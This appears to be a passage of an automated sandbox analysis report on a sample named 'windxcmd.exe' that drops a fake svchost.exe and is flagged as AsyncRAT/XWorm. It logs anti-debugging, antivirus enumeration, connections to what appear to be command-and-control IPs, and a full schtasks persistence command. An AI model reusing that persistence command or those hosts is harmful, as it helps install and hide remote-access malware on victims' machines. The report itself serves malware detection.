Source: svchost.exe, 00000001.00000002.4316290728.000000001C804000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: svchost.exe.0.dr	Binary or memory string: vmware

Source: C:\Users\user\AppData\Roaming\svchost.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Source: C:\Users\user\AppData\Roaming\svchost.exe

Code function: 1_2_00007FFD9B606D21 CheckRemoteDebuggerPresent,

1_2_00007FFD9B606D21

Source: C:\Users\user\AppData\Roaming\svchost.exe

Process queried: DebugPort

Jump to behavior

Source: C:\Users\user\AppData\Roaming\svchost.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\windxcmd.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Users\user\AppData\Roaming\svchost.exe	Network Connect: 208.95.112.1 80			Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Network Connect: 45.141.26.134 7000			Jump to behavior

Source: C:\Users\user\Desktop\windxcmd.exe	Process created: C:\Users\user\AppData\Roaming\svchost.exe "C:\Users\user\AppData\Roaming\svchost.exe"	Jump to behavior
Source: C:\Users\user\Desktop\windxcmd.exe	Process created: C:\Users\user\AppData\Roaming\wind.exe "C:\Users\user\AppData\Roaming\wind.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchost" /tr "C:\Users\user\AppData\Roaming\svchost.exe"	Jump to behavior

Source: C:\Users\user\Desktop\windxcmd.exe	Queries volume information: C:\Users\user\Desktop\windxcmd.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\svchost.exe	Queries volume information: C:\Users\user\AppData\Roaming\svchost.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Users\user\AppData\Roaming\wind.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\Candaral.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\DUBAI-LIGHT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\IMPRISHA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\JOKERMAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\LHANDW.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\flat_officeFontsPreview.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\OFFSYMSL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wind.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\windxcmd.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Yara detected AsyncRAT

Source: Yara match	File source: 0.2.windxcmd.exe.35592c8.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.svchost.exe.300000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.windxcmd.exe.3563108.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.windxcmd.exe.3563108.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.windxcmd.exe.35592c8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000000.1841139413.0000000000302000.00000002.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1845441721.0000000003541000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: windxcmd.exe PID: 7404, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 7456, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\svchost.exe, type: DROPPED

Source: svchost.exe, 00000001.00000002.4317069119.000000001C897000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Roaming\svchost.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Stealing of Sensitive Information

Yara detected XWorm

Source: Yara match	File source: 0.2.windxcmd.exe.35592c8.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.svchost.exe.300000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.windxcmd.exe.3563108.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.windxcmd.exe.3563108.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.windxcmd.exe.35592c8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1845441721.0000000003541000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000000.1841139413.0000000000302000.00000002.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.4308288597.00000000027A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: windxcmd.exe PID: 7404, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 7456, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\svchost.exe, type: DROPPED

Remote Access Functionality

Yara detected XWorm

Source: Yara match	File source: 0.2.windxcmd.exe.35592c8.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.0.svchost.exe.300000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.windxcmd.exe.3563108.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.windxcmd.exe.3563108.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.windxcmd.exe.35592c8.1.raw.unpack, type: UNPACKEDPE
